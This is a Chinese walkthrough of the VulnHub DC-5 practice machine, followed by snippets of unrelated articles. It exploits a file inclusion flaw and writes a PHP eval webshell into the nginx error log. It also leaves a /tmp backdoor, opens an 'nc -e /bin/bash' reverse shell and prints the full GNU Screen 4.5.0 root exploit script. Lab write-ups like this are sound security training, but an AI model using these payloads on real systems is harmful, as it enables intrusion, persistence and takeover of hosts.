37_DC-5靶机渗透测试、nmap使用、kail漏洞库使用、系统提权、反弹shell到kali、留后门、蚁剑连接webshell、文件包含漏洞利用、NC用法

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-5,314/

百度网盘:https://pan.baidu.com/s/1lqFMjoqQpIl4DA-Amb00pA?pwd=9LJY 

攻击机:kali(192.168.58.130,IP是各自不同的)

靶机:DC-5(192.168.58.148,IP是各自不同的)

下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式,

打开虚拟机那里

打开后就行,不需要知道密码

信息收集

扫描靶机的IP地址

查看本机地址确定靶机网段

┌──(root💀kali)-[~] └─# ifconfig eth0

我这儿设置的虚拟机都在10网段,所以用nmap -sP先扫描网段里的主机

┌──(root㉿kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

扫描开放的端口

那么136就是靶机地址,nmap -sV 192.168.10.136 既扫端口也扫版本

┌──(root㉿kali)-[~/桌面]
└─# nmap -sV 192.168.10.136 

开放端口:80、111

web容器:nginx 1.6.2

浏览器访问目标靶机80端口

访问80端口

就只是一些文字,没有啥可利用的位置,只用contact页面能填写东西,随便写点啥提交上去看看

发现也没啥可利用的,但是发现有一个细节,这个页面只要刷新下面的年份也会跟着变

http://192.168.67.31/thankyou.php?firstname=&lastname=&country=australia&subject=

 

猜测这里可能含有一个文件包含漏洞,发现了这个文件,但是还不知道它是怎么包含的,只能靠去猜,使用御剑扫描查看网站结构目录

发现有一个url为http://192.168.67.31/footer.php,查看发现就是这个页面控制着年份改变

所以肯定是包含了这个页面,输入urlhttp://192.168.67.31/thankyou.php?file=

发现底部缺少了年份

验证了我们的猜想,但是这里不确定是否过滤了其他文件

文件包含漏洞

渗透过程

在物理机上开代理访问一下,burp抓包

前面通过信息收集怀疑存在包含漏洞,使用burpsuite抓包

将footer.php改为密码文件/etc/passwd试试,试了shadow文件提示权限就不够了

成功执行,说明确实存在文件包含漏洞,所以现在需要想办法将一句话木马写进去

向日志中写入一句话木马

如果对Nginx比较熟悉

前面信息收集发现网站web容器为nginx,nginx的错误日志文件路径一般为/var/log/nginx/error.log

写入一句话GET /thankyou.php?file=<?php eval($_REQUEST["tedu"]);?>

发现错误日志可以被读取

我们得想办法让Nginx报错,而不是php代码报错,这样的话他才会写到Nginx的错误日志中,

报错了,那就有戏,再去看一下报错的信息

利用文件包含漏洞查看是否写入成功

http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log

发现一句话木马已写入错误日志中

使用蚁剑连接webshell

http://192.168.10.136/thankyou.php?file=/var/log/nginx/error.log

把自己的那个包含错误信息的地址复制下来,如果没成功,多试几次

经测试这种包含的方式写进去后面的蚁剑能连上,错了就改改,多GO试试几次

发现一句话木马已写入错误日志中

成功连上靶机系统

打开虚拟终端,发现权限较低,开始提权,因为是个$符号,权限比较低

在 /tmp下新建文件 一句话木马(提权之前先留个后门)

在服务器/tmp目录下新建一个shell.php文件,写入一句话木马(下次链接时好链接,万一人家把漏洞补上了,下次就进不去了,自己再留一个后门,也是为了防止Nginx错误日志被清空)

<?php 
@eval($_REQUEST[666]);
?>

新建时,权限不足怎么办,能下载不能上传,所以就得换个位置, /tmp下,一般我们放木马都放在这里边

使用蚁剑虚拟终端反弹shell到kali

        哪种连接比较好,假设内网有防火墙,反向连接会更好因为waf会阻挡正向的流量,但是内部主动去连接防火墙它不会管。如果没有边界的约束,那么正反都无所谓

首先在kali开启监听

NC用法

┌──(root💀kali)-[~]
└─# nc -lvvp 1234         
listening on [any] 1234 ...

        之前学过nc,kail是自带有就不用安装,用过Windows渗透测试的时候,咱上传了nc的木马,通过kail进行连接,nc在很多服务器里面都在,这次通过nv反弹一个shell到kail

使用蚁剑虚拟终端反弹shell到kali

/bin/bash  这个就是shell    命令行

(www-data:/var/www/html) $ nc -e /bin/bash 192.168.67.5 1234 {"code":"ECONNABORTED","timeout":5000}

kali处显示有连接过来 ,为啥要来连上去,因为这边不好用,字又小,好像还不能复制

提权

切换到交互式状态

python -c 'import pty;pty.spawn("/bin/bash")'

因为没有回显看着很难受,而且用kail我们也比较熟,你不做这一步也是可以的,它的作用是通过python的小工具pty这个包调用 pty.spawn方法执行("/bin/bash"),其实就是命令行。

查找设置了SUID的文件

find / -perm -u=s -type f 2>/dev/null   的作用是查找带有SUID权限的命令

www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null

发现这个screen-4.5.0有点特殊,可以搜搜它有没有常见漏洞,到网上搜是一种方式,kail里也可以搜

查看screen-4.5.0存在的漏洞

kail里面集成了漏洞库,来搜索相关软件的一个漏洞,漏洞利用的脚本

┌──(root💀kali)-[~]
└─# searchsploit    screen 4.5.0                                           
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41152.txt
GNU Screen 4.5.0 - Local Privilege Escalat | linux/local/41154.sh
------------------------------------------- ---------------------------------
Shellcodes: No Results
 

/usr/share/exploitdb/exploits/linux/local/41152.txt

/usr/share/exploitdb/exploits/linux/local/41154.sh

将攻击脚本文件复制到当前目录,我这儿就是保存到了本地桌面

searchsploit -m 41154 

 

        按理来说可以直接将这个,sh文件上传到目标主机中去执行然后提权,但是我试了一下,kail拉文件出来到桌面在从蚂蚁剑文件管理到tmp里加上执行权限,最后不行,因为这个脚本写得有点小问题所以得要单独编译才行,就麻烦些

        查看文件内容

┌──(root💀kali)-[~]
└─# cat  /root/41154.sh                                     
#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017) 
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
cat << EOF > /tmp/libhax.c
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){chown("/tmp/rootshell", 0, 0);chmod("/tmp/rootshell", 04755);unlink("/etc/ld.so.preload");printf("[+] done!\n");
}
EOF
gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c
rm -f /tmp/libhax.c
cat << EOF > /tmp/rootshell.c
#include <stdio.h>
int main(void){setuid(0);setgid(0);seteuid(0);setegid(0);execvp("/bin/sh", NULL, NULL);
}
EOF
gcc -o /tmp/rootshell /tmp/rootshell.c
rm -f /tmp/rootshell.c
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so... 
/tmp/rootshell  

将41154.sh中上面一部分c语言代码另存为libhax.c,如图-50所示,并编译,编译命令gcc -fPIC -shared -ldl -o libhax.so libhax.c

┌──(root💀kali)-[~]
└─# gcc -fPIC -shared -ldl -o libhax.so libhax.c

将41154.sh中下面一部分c语言代码另存为rootshell.c,如图-51所示,并编译,编译命令gcc -o rootshell rootshell.c

┌──(root💀kali)-[~]

└─# gcc -o rootshell rootshell.c

将41154.sh中剩下部分代码另存为dc5.sh脚本文件,如图-52所示,并在保存dc5.sh文件之前输入 :set ff=unix

将编译过后生成的libhax.so、rootshell和 dc5.sh三个文件复制到DC-5靶机的/tmp目录下,在kali交互模式下进入/tmp,为dc5.sh添加执行权限并运行dc5.sh,发现提权成功,如图-53所示。

获取到flag

进入到/root目录,查看文件thisisthefalg.txt

        基本上就是把这三个文件上传到DC5的tmp目录下,嫌麻烦可以直接套用我编译好的这三个

 

蓝奏云:
https://wwtt.lanzn.com/b00uycq71c
密码:ebp3

DC1~DC9合集(靶场的下载地址和通关教程)

https://blog.51cto.com/u_15127588/2807838

CTF我们称为夺旗赛。capture the flag

有解题模式、攻防模式、混合模式

 知识点:web的、Linux、系统命令、Python
kail漏洞库使用、系统提权、反弹shell到kali、留后门、蚁剑连接webshell、文件包含漏洞利用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/404040.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

SystemUI手势操作隐藏显示导航栏

在Android 12中&#xff0c;通过SystemUI手势操作来隐藏和显示导航栏主要涉及对系统UI的定制和编程控制。以下是一些实现这一功能的方法&#xff1a; 默认是隐藏 向上滑动 第一类. 使用WindowInsetsController Android 12引入了一个新的WindowInsetsController类&#xff0c;它…

【数据分享】1999—2022年地级市地区生产总值及一二三产构成数据(Shp/Excel格式)

在之前的文章中&#xff0c;我们分享过基于2000-2023年《中国城市统计年鉴》整理的1999-2022年地级市的人口相关数据、各类用地面积数据、污染物排放和环境治理相关数据、房地产投资情况和商品房销售面积、社会消费品零售总额和年末金融机构存贷款余额、一般公共预算收支状况、…

bootchart抓Android系统启动各阶段性能数据

最近在做Android系统启动优化&#xff0c;首要任务是找到启动过程中各阶段耗时点&#xff0c;进而有针对性地进行优化。主要用bootchart抓开机数据&#xff0c;本文主要记录下工具的使用方法。 1.抓开机数据 adb root adb shell ‘touch /data/bootchart/enabled’ adb rebo…

STM32标准库学习笔记-6.定时器-输入捕获

参考教程&#xff1a;【STM32入门教程-2023版 细致讲解 中文字幕】 定时器输入捕获 IC&#xff08;Input Capture&#xff09;输入捕获输入捕获模式下&#xff0c;当通道输入引脚出现指定电平跳变时&#xff0c;当前CNT的值将被锁存到CCR中&#xff0c;可用于测量PWM波形的频率…

8.14-LVS主从+nginx的haproxy+mysql的haproxy+读写分离

一、LVS-主从数据库 # nat # 添加规则 [rootDS ~]# ipvsadm -A -t 192.168.2.130:3306 -s rr [rootDS ~]# ipvsadm -a -t 192.168.2.130:3306 -r 192.168.2.40:3306 -m [rootDS ~]# ipvsadm -a -t 192.168.2.130:3306 -r 192.168.2.42:3310 -m [rootDS ~]# ipvsadm -Ln IP Vir…

计算机毕业设计选什么题目好? springboot 大学志愿填报系统

✍✍计算机毕业编程指导师 ⭐⭐个人介绍&#xff1a;自己非常喜欢研究技术问题&#xff01;专业做Java、Python、微信小程序、安卓、大数据、爬虫、Golang、大屏等实战项目。 ⛽⛽实战项目&#xff1a;有源码或者技术上的问题欢迎在评论区一起讨论交流&#xff01; ⚡⚡ Java、…

ffmpeg的基础命令

文章目录 ffmpeg/ffplay/ffprobe区别ffmpeg 的作用ffplay的作用ffprobe的作用 ffmpeg使用概述功能概述转码过程简单使用FFMPEG -i常用的 -i例子 ff***工具之间共享的选项ffmpeg主要选项ffmpeg提取音视频数据ffmpeg命令修改原有的视频格式ffmpeg命令裁剪和合并视频拼接视频的方式…

数据结构—— 初识二叉树

1.树概念及结构 1.1树的概念 树是由根和子树构成 树是一种非线性的数据结构&#xff0c;它是由n&#xff08;n>0&#xff09;个有限结点组成一个具有层次关系的集合。把它叫做树是因为它看起来像一棵倒挂的树&#xff0c;也就是说它是根朝上&#xff0c;而叶朝下的 1. 树有…

20240819 每日AI必读资讯

&#x1f4da;AI爆料人遭全网封禁&#xff01;OpenAI等25个机构祭大招&#xff0c;一眼辨别AI机器人 - 最近半个月&#xff0c;全网被OpenAI的「AI爆料人」「草莓哥」iruletheworldmo愚弄。所有人没有等他预测的GPT-4o large模型&#xff0c;反被AI初创MultiOn创始人揭穿身份—…

Git安装包及怎么再windows上运行

第一步&#xff1a;下载git。 国内 Git for Windows. 国内镜像 感谢GitHub - waylau/git-for-win: Git for Windows. 国内直接从官网下载比较困难&#xff0c;需要翻墙。这里提供一个国内的下载站&#xff0c;方便网友下载 安装步骤&#xff1a; Git for Windows安装和基本…

【C语言可变参数函数的使用与原理分析】

文章目录 1 前言2 实例2.1实例程序2.2程序执行结果2.3 程序分析 3 补充4 总结 1 前言 在编程过程中&#xff0c;有时会遇到需要定义参数数量不固定的函数的情况。 C语言提供了一种灵活的解决方案&#xff1a;变参函数。这种函数能够根据实际调用时的需求&#xff0c;接受任意…

ansible相关模块

copy模块(重点) copy模块⽤于对⽂件的远程拷⻉操作&#xff08;如把本地的⽂件拷⻉到远程 的机器上) https://docs.ansible.com/ansible/latest/modules/copy_module.htm l#copy-module 在master上准备⼀个⽂件&#xff0c;拷⻉此⽂件到group1的所有机器上 使⽤content参数直…

zabbix-配置监控远程主机

1.在被监控主机上配置zabbix-agent 1.获取zabbix官方源 rpm -Uvh https://mirrors.aliyun.com/zabbix/zabbix/5.0/rhel/7/x86_64/zabbix-release-5.0-1.el7.noarch.rpm# 替换阿里源&#xff0c;这一步很重要 sed -i s#http://repo.zabbix.com#https://mirrors.aliyun.com/zabb…

微服务架构设计中的常见的10种设计模式

微服务架构设计的概念 微服务架构&#xff08;Microservices Architecture&#xff09;是一种用于构建分布式系统的软件设计模式。它将大型应用程序拆分成一组小型、自治的服务&#xff0c;每个服务都运行在其独立的进程中&#xff0c;服务之间通过轻量级的通信机制&#xff08…

clickhouse集群+Zk优化-解决只读模式,主节点磁盘增长快

问题1&#xff1a;数据库进入只读模式 最近在项目中使用clickhouse的时候&#xff0c;遇到了一个批量插入后报错的问题。报错的内容是数据库进入了只读模式&#xff0c;导致数据写不进去。发现有大量的批量写入报错日志信息。&#xff08;关键异常信息&#xff1a;DB::Exceptio…

高德地图SDK Android版开发 6 显示覆盖物

高德地图SDK Android版开发 6 显示覆盖物 前言地图类中覆盖物的接口覆盖物类Marker示例Polyline示例Polygon示例Arc示例Circle示例移除示例效果图 Marker的更多属性常用属性交互动画其它属性 折线的更多属性常用属性其它属性 多边形的更多属性常用属性其它属性 Arc的更多属性Ci…

[数据结构] RBTree 模拟实现RBTree

标题&#xff1a;[数据结构] RBTree && 模拟实现RBTree 水墨不写bug 目录 一、红黑树的概念 二、map和set的封装 三、红黑树的实现 1、红黑树节点的定义 2、红黑树的结构 3、红黑树的插入 1.名称 2.插入节点的颜色 红黑树的insert 实现 情况一&#xff1a;不…

QT翻金币小游戏(含音频图片文件资源)

目录 QT翻金币小游戏 音频图片资源文件获取 效果展示 图片 视频 实现代码 main.cpp mymainwindow.h mymainwindow.cpp startscene.h startscene.cpp selectscene.cpp playscene.h playscene.cpp mypushbutton.h mypushbutton.cpp dataconfig.h dataconfig.cpp QT…

Spring Boot: 2.7.x 至 2.7.18 及更旧的版本,漏洞说明

本文提供的修复指南将帮助开发者有效规避 CVE-2024-38808 和 CVE-2024-38809 的风险。如果你正在使用老版本的 Spring Boot&#xff0c;请尽快参考本文进行修复与升级。 此漏洞来源于spring官网&#xff1a;https://spring.io/blog/2024/08/14/spring-framework-releases-fixe…

8.17模拟赛题解

先考虑空间能不能把N个座位放好 最优的方式就是挨着摆放 那么一排能摆放QL/x的商个椅子 &#xff0c;然后计算摆放完N个座位需要多少排&#xff0c;N/Q 向上取整 计算所需要的排总共占据多宽&#xff0c;讨论有没有超过W&#xff0c;然后讨论剩余空间还能放几条走廊 如果走廊数…